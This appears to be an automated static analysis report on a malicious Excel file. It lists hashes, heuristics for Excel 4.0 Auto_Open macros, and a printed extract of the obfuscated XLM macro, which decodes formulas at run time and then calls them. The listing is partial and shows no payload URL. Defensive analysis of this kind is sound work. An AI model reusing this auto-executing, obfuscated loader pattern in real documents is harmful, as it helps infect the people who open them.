Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 446c3c6b07a8c3ef…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:26:06 Authoring application: Microsoft Excel First seen: 2021-09-15
MD5: 0c616367262c02bb4348f9472c47908a SHA-1: e8809af54ff57f297b6ea538d7d76f581abf55a8 SHA-256: 446c3c6b07a8c3ef7e21b61fc7d585c881e9b164d9441634f6f33bb7262281d6
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains critical Excel 4.0 (XLM) macros, including an Auto_Open defined name, which is a common technique for executing malicious code upon opening the document. The presence of dangerous formula APIs like RUN indicates the macro is designed to execute commands or download additional payloads. The document body contains obfuscated text, suggesting an attempt to hide the malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6512 bytes
SHA-256: 15869d94f0f95ce0682c7711f94dab8a666033987dafa9c3005dfd778ec69eda
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lUdqjsc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G182 
' 0018     23 LABEL : Cell Value, String Constant - DzGaBTqI len=0 
' 0018     26 LABEL : Cell Value, String Constant - eBAEcNNPCZR len=0 
' 0018     22 LABEL : Cell Value, String Constant - ecZeWYg len=0 
' 0018     20 LABEL : Cell Value, String Constant - EeGMp len=0 
' 0018     24 LABEL : Cell Value, String Constant - Jfdpnyujf len=0 
' 0018     23 LABEL : Cell Value, String Constant - JYfbBzHO len=0 
' 0018     20 LABEL : Cell Value, String Constant - mazFS len=0 
' 0018     26 LABEL : Cell Value, String Constant - mqEDkWwxjMM len=0 
' 0018     20 LABEL : Cell Value, String Constant - noeHB len=0 
' 0018     25 LABEL : Cell Value, String Constant - NRgLcJZaUr len=0 
' 0018     23 LABEL : Cell Value, String Constant - oFhsADMm len=0 
' 0018     22 LABEL : Cell Value, String Constant - ojZAMnB len=0 
' 0018     21 LABEL : Cell Value, String Constant - pqddRP len=0 
' 0018     23 LABEL : Cell Value, String Constant - pqLhEpfV len=0 
' 0018     25 LABEL : Cell Value, String Constant - QLVqFztTOD len=0 
' 0018     27 LABEL : Cell Value, String Constant - rjBnEAhOTUbY len=0 
' 0018     23 LABEL : Cell Value, String Constant - TBPcQAbo len=0 
' 0018     27 LABEL : Cell Value, String Constant - WhjrruvoQGkL len=0 
' 0018     25 LABEL : Cell Value, String Constant - WhVQFQYXpc len=0 
' 0018     20 LABEL : Cell Value, String Constant - xOuXA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lUdqjsc,G90,"SET.NAME("WhjrruvoQGkL",VALUE("0"))",""
'  lUdqjsc,G92,"SET.NAME("pqLhEpfV",WhjrruvoQGkL)",""
'  lUdqjsc,G96,"SET.NAME("ecZeWYg",WhjrruvoQGkL)",""
'  lUdqjsc,G99,"SET.NAME("ojZAMnB",COUNTA(oFhsADMm))",""
'  lUdqjsc,G104,"SET.NAME("eBAEcNNPCZR",COUNTA(pqddRP))",""
'  lUdqjsc,G108,[],""
'  lUdqjsc,G112,"SET.NAME("JYfbBzHO","")",""
'  lUdqjsc,G114,"pqLhEpfV",""
'  lUdqjsc,G116,"SET.NAME("QLVqFztTOD",HLOOKUP("*",oFhsADMm,pqLhEpfV,FALSE))",""
'  lUdqjsc,G118,"EeGMp",""
'  lUdqjsc,G123,"SET.NAME("Jfdpnyujf",WhjrruvoQGkL)",""
'  lUdqjsc,G128,[],""
'  lUdqjsc,G132,"Jfdpnyujf",""
'  lUdqjsc,G135,"noeHB",""
'  lUdqjsc,G137,"DzGaBTqI",""
'  lUdqjsc,G142,"mqEDkWwxjMM",""
'  lUdqjsc,G146,"SET.NAME("xOuXA",VALUE(HLOOKUP("*",pqddRP,mqEDkWwxjMM,FALSE)))",""
'  lUdqjsc,G151,"mazFS",""
'  lUdqjsc,G155,"JYfbBzHO",""
'  lUdqjsc,G157,"ecZeWYg",""
'  lUdqjsc,G160,NEXT(),""
'  lUdqjsc,G164,"rjBnEAhOTUbY",""
'  lUdqjsc,G166,"SET.NAME("f",INT(T(FORMULA(T(JYfbBzHO)&"",""&T(rjBnEAhOTUbY)))))",""
'  lUdqjsc,G171,"WhVQFQYXpc",""
'  lUdqjsc,G174,NEXT(),""
'  lUdqjsc,G179,RETURN(),""
'  lUdqjsc,G205,"SET.NAME("TBPcQAbo",G90)",""
'  lUdqjsc,G209,"oFhsADMm",""
'  lUdqjsc,G214,"SET.NAME("pqddRP",R55C11)",""
'  lUdqjsc,G217,"SET.NAME("WhVQFQYXpc",225)",""
'  lUdqjsc,G219,"SET.NAME("NRgLcJZaUr",7)",""
'  lUdqjsc,G224,TBPcQAbo(),""
'  lUdqjsc,G225,HALT(),""